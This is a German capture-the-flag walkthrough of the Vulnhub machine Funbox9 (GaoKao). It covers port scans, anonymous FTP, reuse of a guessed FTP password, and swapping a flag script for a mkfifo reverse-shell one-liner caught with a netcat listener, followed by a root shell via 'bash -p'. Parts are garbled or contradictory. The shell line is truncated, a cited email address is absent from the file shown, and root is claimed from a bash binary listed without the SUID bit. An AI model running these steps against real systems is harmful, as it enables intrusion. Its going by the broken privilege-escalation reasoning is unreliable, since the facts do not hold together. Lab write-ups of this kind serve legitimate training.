Funbox9 - GaoKao - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, das Auflisten von Diensten und die Identifizierung von Schwachstellen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.127	08:00:27:2d:20:58	PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l wird verwendet, um alle Geräte im lokalen Netzwerk zu scannen und ihre MAC-Adressen und zugehörigen Informationen anzuzeigen. In diesem Fall identifizieren wir ein Gerät mit der IP-Adresse 192.168.2.127 und der MAC-Adresse 08:00:27:2d:20:58, das von PCS Systemtechnik GmbH hergestellt wurde. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

**Analyse:** Der ARP-Scan ist ein grundlegender Schritt, um einen Überblick über die aktiven Geräte im Netzwerk zu erhalten. Die MAC-Adresse kann verwendet werden, um den Hersteller des Geräts zu bestimmen und möglicherweise weitere Informationen über das Gerät zu finden.

**Empfehlung:** Es ist wichtig, das Netzwerk regelmäßig auf unbekannte Geräte zu überwachen, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
  192.168.2.127	   funbox.vuln
                

Der Befehl vi /etc/hosts wird verwendet, um die /etc/hosts-Datei zu bearbeiten und eine Zuordnung zwischen der IP-Adresse 192.168.2.127 und dem Hostnamen funbox.vuln hinzuzufügen. Dadurch können wir das Zielsystem über den Hostnamen ansprechen, was die weitere Arbeit erleichtert.

**Analyse:** Die /etc/hosts-Datei ermöglicht es, Hostnamen lokal aufzulösen, ohne einen DNS-Server zu benötigen. Dies ist nützlich, um das Zielsystem einfacher anzusprechen und die Lesbarkeit der Befehle zu verbessern.

**Empfehlung:** Stellen Sie sicher, dass die /etc/hosts-Datei nur vertrauenswürdige Einträge enthält, um Man-in-the-Middle-Angriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 16:23 CEST
Nmap scan report for funbox.vuln (192.168.2.127)
Host is up (0.000096s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     ProFTPD 1.3.5e
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 ftp      ftp           169 Jun  5  2021 welcome.msg
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 48393122fbc20344a74ec0fab8ad2f96 (RSA)
|   256 70a7745ea37960281a454cab5ce787ad (ECDSA)
|_  256 9c35cef659667faec4d12116d5aa5671 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Wellcome to Funbox: Gaokao !
|_http-server-header: Apache/2.4.29 (Ubuntu)
3306/tcp open  mysql   MySQL 5.7.34-0ubuntu0.18.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.34-0ubuntu0.18.04.1
|   Thread ID: 12
|   Capabilities flags: 65535
|   Some Capabilities: SupportsTransactions, FoundRows, InteractiveClient, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, 
|   LongColumnFlag, Support41Auth, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, 
|   LongPassword, SupportsCompression, IgnoreSigpipes, ODBCClient, ConnectWithDatabase, SupportsMultipleResults, SupportsMultipleStatments, 
|   SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x10\x01R\x01\x14;qs56(\x0CF\x0BpHxZH>
|_  Auth Plugin Name: mysql_native_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_5.7.34_Auto_Generated_Server_Certificate
| Not valid before: 2021-06-05T15:15:30
|_Not valid after:  2031-06-03T15:15:30
MAC Address: 08:00:27:2D:20:58 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms funbox.vuln (192.168.2.127)
                

Dieser Nmap-Scan ist ausführlicher und liefert zusätzliche Informationen über die geöffneten Ports und die laufenden Dienste. Wir erhalten Informationen über die FTP-, SSH-, HTTP- und MySQL-Dienste, einschließlich Versionen, Hostschlüssel, Titel, Server-Header und SSL-Zertifikate. Besonders interessant ist die Information, dass anonymer FTP-Login erlaubt ist.

**Analyse:** Die detaillierten Informationen aus diesem Scan ermöglichen es, gezielt nach Schwachstellen in den laufenden Diensten zu suchen. Die Tatsache, dass anonymer FTP-Login erlaubt ist, stellt ein potenzielles Sicherheitsrisiko dar.

**Empfehlung:** Überprüfen Sie die Konfiguration des FTP-Servers und deaktivieren Sie den anonymen Login, wenn er nicht erforderlich ist. Führen Sie außerdem regelmäßig Schwachstellenscans durch, um bekannte Schwachstellen in den laufenden Diensten zu identifizieren und zu beheben.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p- | grep open
21/tcp   open  ftp     ProFTPD 1.3.5e
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
3306/tcp open  mysql   MySQL 5.7.34-0ubuntu0.18.04.1
                

Dieser Nmap-Scan filtert die Ausgabe des vorherigen Scans, um nur die geöffneten Ports anzuzeigen. Dies gibt uns einen schnellen Überblick über die laufenden Dienste.

**Analyse:** Die geöffneten Ports 21 (FTP), 22 (SSH), 80 (HTTP) und 3306 (MySQL) deuten auf ein System mit Web- und Datenbankdiensten hin.

**Empfehlung:** Überprüfen Sie die Konfiguration der einzelnen Dienste und stellen Sie sicher, dass sie sicher konfiguriert sind.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.127
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2023-06-06 16:23:35 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2846, size: 5c409ca1d2835, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-06 16:23:56 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                

Nikto ist ein Webserver-Scanner, der nach potenziell gefährlichen Dateien, veralteten Softwareversionen und anderen Sicherheitsproblemen sucht. In diesem Fall identifiziert Nikto eine Reihe von Problemen, darunter fehlende HTTP-Header, eine veraltete Apache-Version und die Anzeige der Apache-Standarddatei /icons/README.

**Analyse:** Die von Nikto gefundenen Probleme können von Angreifern ausgenutzt werden, um auf sensible Informationen zuzugreifen oder das System zu kompromittieren. Insbesondere fehlende HTTP-Header können zu Clickjacking-Angriffen führen, und eine veraltete Apache-Version kann bekannte Schwachstellen aufweisen.

**Empfehlung:** Beheben Sie die von Nikto identifizierten Probleme, indem Sie die HTTP-Header konfigurieren, die Apache-Version aktualisieren und den Zugriff auf die Apache-Standarddatei /icons/README einschränken.

Web Enumeration

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://funbox.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================
http://funbox.vuln/index.html           (Status: 200) [Size: 10310]
==============================================================================================================================
                

Gobuster ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver. In diesem Fall wird Gobuster verwendet, um nach Dateien mit verschiedenen Erweiterungen (txt, php, rar, zip, ...) auf dem Webserver http://funbox.vuln zu suchen. Die Option -b '403,404' gibt an, dass Gobuster die Statuscodes 403 (Forbidden) und 404 (Not Found) ignorieren soll. Die Option -e fügt eine Erweiterung an die angefragten Dateien hinzu und die Option --no-error unterdrückt Fehlermeldungen.

**Analyse:** Gobuster hat die Datei http://funbox.vuln/index.html gefunden, was darauf hindeutet, dass der Webserver korrekt konfiguriert ist und die Standard-Webseite ausliefert.

**Empfehlung:** Führen Sie Gobuster mit verschiedenen Wortlisten und Optionen aus, um weitere versteckte Verzeichnisse und Dateien zu finden. Überprüfen Sie die gefundenen Dateien auf sensible Informationen oder Schwachstellen.

Initial Access

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.127
Connected to 192.168.2.127.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.2.127]
Name (192.168.2.127:cyber): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230-Welcome, archive user anonymous@cyber !
230-
230-The local time is: Tue Jun 06 14:25:00 2023
230-
230-This is an experimental FTP server.  If you have any unusual problems,
230-please report them via e-mail to .
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                

Hier wird versucht, sich anonym per FTP mit dem Zielsystem zu verbinden. Wie der Nmap-Scan bereits gezeigt hat, ist anonymer FTP-Login erlaubt.

**Analyse:** Die erfolgreiche anonyme Anmeldung per FTP bestätigt das Vorhandensein dieses potenziellen Sicherheitsrisikos. Angreifer könnten diese Funktion nutzen, um Dateien hoch- oder herunterzuladen oder andere schädliche Aktionen durchzuführen.

**Empfehlung:** Deaktivieren Sie den anonymen FTP-Login, wenn er nicht unbedingt erforderlich ist. Wenn er erforderlich ist, stellen Sie sicher, dass die Berechtigungen für das FTP-Verzeichnis korrekt konfiguriert sind, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# ftp> get welcome.msg
local: welcome.msg remote: welcome.msg
229 Entering Extended Passive Mode (|||52574|)
150 Opening BINARY mode data connection for welcome.msg (169 bytes)
100% |*************************************************|   169        2.47 MiB/s    00:00 ETA
226 Transfer complete
169 bytes received in 00:00 (254.68 KiB/s)
ftp>
                

Der Befehl get welcome.msg lädt die Datei welcome.msg vom FTP-Server herunter.

**Analyse:** Das Herunterladen der Datei welcome.msg ist erfolgreich. Diese Datei könnte nützliche Informationen über den FTP-Server oder das System enthalten.

**Empfehlung:** Überprüfen Sie den Inhalt der Datei welcome.msg auf sensible Informationen.

┌──(root㉿cyber)-[~]
└─# cat welcome.msg
Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server.  If you have any unusual problems,
please report them via e-mail to .
                

Der Befehl cat welcome.msg zeigt den Inhalt der heruntergeladenen Datei welcome.msg an.

**Analyse:** Die Datei welcome.msg enthält eine Willkommensnachricht für FTP-Benutzer. Interessant ist, dass die E-Mail-Adresse sky@%L verwendet wird, was auf den Benutzernamen "sky" hindeutet.

**Empfehlung:** Versuchen Sie, sich mit dem Benutzernamen "sky" und einem Standardpasswort (z. B. "sky" oder "password") per FTP anzumelden.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.127
Connected to 192.168.2.127.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.2.127]
Name (192.168.2.127:cyber): sky
331 Password required for sky
Password:
230 User sky logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                

Hier wird versucht, sich mit dem Benutzernamen "sky" per FTP anzumelden. Das Passwort wird im nächsten Schritt eingegeben.

**Analyse:** Die Tatsache, dass der FTP-Server nach einem Passwort für den Benutzer "sky" fragt, bestätigt, dass dieser Benutzer existiert.

**Empfehlung:** Versuchen Sie, verschiedene Passwörter für den Benutzer "sky" auszuprobieren, um Zugriff zu erhalten.

┌──(root㉿cyber)-[~]
└─# wget -r ftp://sky:thebest@192.168.2.127
192.168.2.127/user.flag 100%[=============================>]      66  --.-KB/s    in 0s

2023-06-06 16:31:14 (29,1 MB/s) - »192.168.2.127/user.flag« gespeichert [66]
....
...
..
                

Der Befehl wget -r ftp://sky:thebest@192.168.2.127 versucht, alle Dateien vom FTP-Server mit dem Benutzernamen "sky" und dem Passwort "thebest" rekursiv herunterzuladen.

**Analyse:** Der Download der Datei user.flag ist erfolgreich. Dies deutet darauf hin, dass das Passwort "thebest" korrekt war und Zugriff auf das FTP-Verzeichnis des Benutzers "sky" ermöglicht hat.

**Empfehlung:** Ändern Sie das Passwort des Benutzers "sky" und stellen Sie sicher, dass es ein sicheres Passwort ist.

┌──(root㉿cyber)-[~/192.168.2.127]
└─# ll
insgesamt 4
-rw-r--r-- 1 root root 66  6. Jun 2021  user.flag
                

Der Befehl ll (alias für ls -la) listet die Dateien im aktuellen Verzeichnis auf.

**Analyse:** Die Ausgabe zeigt, dass die Datei user.flag erfolgreich heruntergeladen wurde.

**Empfehlung:** Überprüfen Sie den Inhalt der Datei user.flag, um die Benutzer-Flag zu erhalten.

┌──(root㉿cyber)-[~/192.168.2.127]
└─# cat user.flag
#!/bin/sh
echo "Your flag is:88jjggzzZhjJjkOIiu76TggHjoOIZTDsDSd"
                

Der Befehl cat user.flag zeigt den Inhalt der Datei user.flag an.

**Analyse:** Die Datei user.flag enthält ein Skript, das die Benutzer-Flag ausgibt.

**Empfehlung:** Notieren Sie sich die Benutzer-Flag.

┌──(root㉿cyber)-[~/192.168.2.127]
└─# vi user.flag
#!/bin/sh
#
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0/tmp/b
                

Hier wird die Datei user.flag mit dem Editor vi bearbeitet. Der Inhalt der Datei wird geändert, um eine Reverse Shell zu erstellen.

**Analyse:** Die Änderung der Datei user.flag, um eine Reverse Shell zu erstellen, ermöglicht es dem Angreifer, eine Verbindung zum Zielsystem herzustellen und Befehle auszuführen.

**Empfehlung:** Verwenden Sie keine Reverse Shells in Produktionsumgebungen, da sie ein erhebliches Sicherheitsrisiko darstellen.

┌──(root㉿cyber)-[~/192.168.2.127]
└─# ftp 192.168.2.127
Connected to 192.168.2.127.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.2.127]
Name (192.168.2.127:cyber): sky
331 Password required for sky
Password:
230 User sky logged in
Remote system type is UNIX.
Using binary mode to transfer files.
                

Hier wird sich erneut mit dem Benutzernamen "sky" per FTP angemeldet.

**Analyse:** Die erneute Anmeldung per FTP ist notwendig, um die geänderte Datei user.flag hochzuladen.

**Empfehlung:** Stellen Sie sicher, dass die FTP-Verbindung sicher ist (z. B. durch Verwendung von FTPS oder SFTP).

ftp> put user.flag
local: user.flag remote: user.flag
229 Entering Extended Passive Mode (|||52709|)
150 Opening BINARY mode data connection for user.flag
100% |*************************************************|   101        2.91 MiB/s    00:00 ETA
226 Transfer complete
101 bytes sent in 00:00 (158.31 KiB/s)
                

Der Befehl put user.flag lädt die geänderte Datei user.flag auf den FTP-Server hoch.

**Analyse:** Das Hochladen der geänderten Datei user.flag ist erfolgreich. Dadurch wird die Reverse Shell auf dem Zielsystem aktiviert, wenn die Datei ausgeführt wird.

**Empfehlung:** Überprüfen Sie die hochgeladenen Dateien auf dem FTP-Server regelmäßig auf schädlichen Code.

ftp> ls -la
229 Entering Extended Passive Mode (|||16832|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 sky      sky          4096 Jun  6  2021 .
drwxr-xr-x   5 root     root         4096 Jun  5  2021 ..
-rw-------   1 sky      sky            56 Jun  5  2021 .bash_history
-r--r--r--   1 sky      sky           220 Jun  5  2021 .bash_logout
-r--r--r--   1 sky      sky          3771 Jun  5  2021 .bashrc
-r--r--r--   1 sky      sky           807 Jun  5  2021 .profile
drwxr-----   2 root     root         4096 Jun  5  2021 .ssh
-rwxr-x---   1 sky      sar        sky          101 Jun  6 14:34 user.flag
-rw-------   1 sky      sky          1489 Jun  5  2021 .viminfo
226 Transfer complete
ftp>
                

Der Befehl ls -la listet die Dateien im aktuellen FTP-Verzeichnis auf und zeigt die Berechtigungen, den Eigentümer, die Größe und das Änderungsdatum der Dateien an.

**Analyse:** Die Ausgabe zeigt, dass die Datei user.flag erfolgreich hochgeladen wurde und die Berechtigungen -rwxr-x--- hat. Dies bedeutet, dass der Benutzer "sky" die Datei ausführen kann.

**Empfehlung:** Überprüfen Sie die Berechtigungen der hochgeladenen Datei, um sicherzustellen, dass sie nicht für unbefugte Benutzer ausführbar ist.

Privilege Escalation

┌──(root㉿cyber)-[~/192.168.2.127]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.127] 37408
/bin/sh: 0: can't access tty; job control turned off
$
                

Der Befehl nc -lvnp 4444 startet Netcat im Listening-Modus auf Port 4444. Die Option -l aktiviert den Listening-Modus, -v aktiviert den verbose Modus, -n verhindert die DNS-Auflösung und -p 4444 gibt den Port an.

**Analyse:** Netcat empfängt eine Verbindung vom Zielsystem 192.168.2.127 auf Port 37408. Dies bestätigt, dass die Reverse Shell erfolgreich aufgebaut wurde.

**Empfehlung:** Verwenden Sie sichere Kanäle für die Kommunikation zwischen dem Angreifer- und dem Zielsystem (z. B. SSH-Tunnel).

sarah@funbox9:~$ id
uid=1002(sarah) gid=1002(sarah) groups=1002(sarah)
                

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.

**Analyse:** Die Ausgabe zeigt, dass wir als Benutzer "sarah" mit der Benutzer-ID 1002 und der Gruppen-ID 1002 angemeldet sind.

**Empfehlung:** Sammeln Sie weitere Informationen über den Benutzer "sarah", um potenzielle Schwachstellen zu identifizieren.

sarah@funbox9:~$ ls l-a
ls: cannot access 'l-a': No such file or directory
                

Der Befehl ls l-a ist fehlerhaft, da die Option -a mit der Option -l kombiniert werden sollte (ls -la).

**Analyse:** Der Befehl schlägt fehl, da die Option falsch angegeben wurde.

**Empfehlung:** Korrigieren Sie den Befehl, um die gewünschte Ausgabe zu erhalten.

sarah@funbox9:~$ ls -la
total 36
dr-xr-xr-x 4 sarah sarah 4096 Jun  6  2021 .
drwxr-xr-x 5 root  root  4096 Jun  5  2021 ..
-r--r--r-- 1 sarah sarah  220 Jun  5  2021 .bash_logout
-r--r--r-- 1 sarah sarah 3771 Jun  5  2021 .bashrc
dr-x------ 2 sarah sarah 4096 Jun  5  2021 .cache
dr-x------ 3 sarah sarah 4096 Jun  5  2021 .gnupg
-r--r--r-- 1 sarah sarah  807 Jun  5  2021 .profile
-r--rw-r-- 1 sarah sarah   74 Jun  5  2021 .selected_editor
-r-------- 1 sarah sarah 3214 Jun  6  2021 .viminfo
                

Der Befehl ls -la listet alle Dateien im aktuellen Verzeichnis auf, einschließlich versteckter Dateien, und zeigt die Berechtigungen, den Eigentümer, die Größe und das Änderungsdatum der Dateien an.

**Analyse:** Die Ausgabe zeigt die Dateien und Verzeichnisse im Home-Verzeichnis des Benutzers "sarah".

**Empfehlung:** Überprüfen Sie die Dateien und Verzeichnisse auf sensible Informationen oder potenzielle Schwachstellen.

sarah@funbox9:~$ sudo -l
[sudo] password for sarah:
                

Der Befehl sudo -l listet die Berechtigungen des aktuellen Benutzers auf, die er mit sudo ausführen kann.

**Analyse:** Der Befehl fragt nach dem Passwort für den Benutzer "sarah". Dies deutet darauf hin, dass der Benutzer "sarah" möglicherweise über sudo-Rechte verfügt.

**Empfehlung:** Versuchen Sie, das Passwort für den Benutzer "sarah" zu knacken oder zu umgehen, um sudo-Rechte zu erlangen.

sarah@funbox9:~$ find / -type f -perm -4000 -ls 2>/dev/null
   134113     44 -rwsr-xr-x   1 root     root        44664 Nov 29  2022 /bin/su
   131161     32 -rwsr-xr-x   1 root     root        30800 Aug 11  2016 /bin/fusermount
   131212     64 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /bin/ping
   134351     44 -rwsr-xr-x   1 root     root        43088 Sep 16  2020 /bin/mount
   134352     28 -rwsr-xr-x   1 root     root        26696 Sep 16  2020 /bin/umount
     2645     76 -rwsr-xr-x   1 root     root        75824 Nov 29  2022 /usr/bin/gpasswd
     2277     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils
     2641     44 -rwsr-xr-x   1 root     root        44528 Nov 29  2022 /usr/bin/chsh
    40857    148 -rwsr-xr-x   1 root     root       149080 Apr  4 12:44 /usr/bin/sudo
    47764     96 -rwsr-sr-x   1 root     mail        96648 Nov 16  2017 /usr/bin/procmail
     5065     40 -rwsr-xr-x   1 root     root        37136 Nov 29  2022 /usr/bin/newgidmap
     5066     40 -rwsr-xr-x   1 root     root        37136 Nov 29  2022 /usr/bin/newuidmap
     2136     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
     1843     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
     2646     60 -rwsr-xr-x   1 root     root        59640 Nov 29  2022 /usr/bin/passwd
    11836     40 -rwsr-xr-x   1 root     root        40344 Nov 29  2022 /usr/bin/newgrp
     2640     76 -rwsr-xr-x   1 root     root        76496 Nov 29  2022 /usr/bin/chfn
     2469     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     5017    112 -rwsr-xr-x   1 root     root       113528 Feb  2  2021 /usr/lib/snapd/snap-confine
     2655     16 -rwsr-xr-x   1 root     root        14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
     7946     44 -rwsr-xr--   1 root     messagebus    42992 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2651    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   133149    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
                

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach allen Dateien mit dem SUID-Bit gesetzt (-perm -4000). Das SUID-Bit ermöglicht es einem Benutzer, eine ausführbare Datei mit den Berechtigungen des Eigentümers der Datei auszuführen. Die Option -ls zeigt die gefundenen Dateien im langen Format an und 2>/dev/null unterdrückt Fehlermeldungen.

**Analyse:** Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit gesetzt. Einige dieser Dateien (z. B. /bin/su, /usr/bin/sudo, /usr/bin/passwd) sind bekannt für Privilege Escalation.

**Empfehlung:** Überprüfen Sie die Dateien mit dem SUID-Bit sorgfältig und stellen Sie sicher, dass sie sicher konfiguriert sind.

sarah@funbox9:/tmp$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr 18  2022 /bin/bash
                

Der Befehl ls -la /bin/bash zeigt die Berechtigungen, den Eigentümer, die Größe und das Änderungsdatum der Datei /bin/bash an.

**Analyse:** Die Ausgabe zeigt, dass die Datei /bin/bash dem Benutzer "root" gehört und die Berechtigungen -rwxr-xr-x hat. Dies bedeutet, dass alle Benutzer die Datei ausführen können.

**Empfehlung:** Überprüfen Sie die Berechtigungen der Datei /bin/bash und stellen Sie sicher, dass sie sicher konfiguriert ist.

sarah@funbox9:/tmp$ ./bin/bash -p
root@funbox9:/tmp~#
                

Der Befehl ./bin/bash -p startet eine neue Bash-Shell mit den Berechtigungen des Eigentümers der Datei (root). Die Option -p behält die privilegierten Berechtigungen bei.

**Analyse:** Die Ausgabe zeigt, dass wir erfolgreich eine Root-Shell erhalten haben. Dies ist ein klarer Beweis für Privilege Escalation.

**Empfehlung:** Beheben Sie die Ursache für die Privilege Escalation, um zukünftige Angriffe zu verhindern.

Flags

cat root.txt
    
5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt
    
c7d0a8de1e03b25a6f7ed2d91b94dad6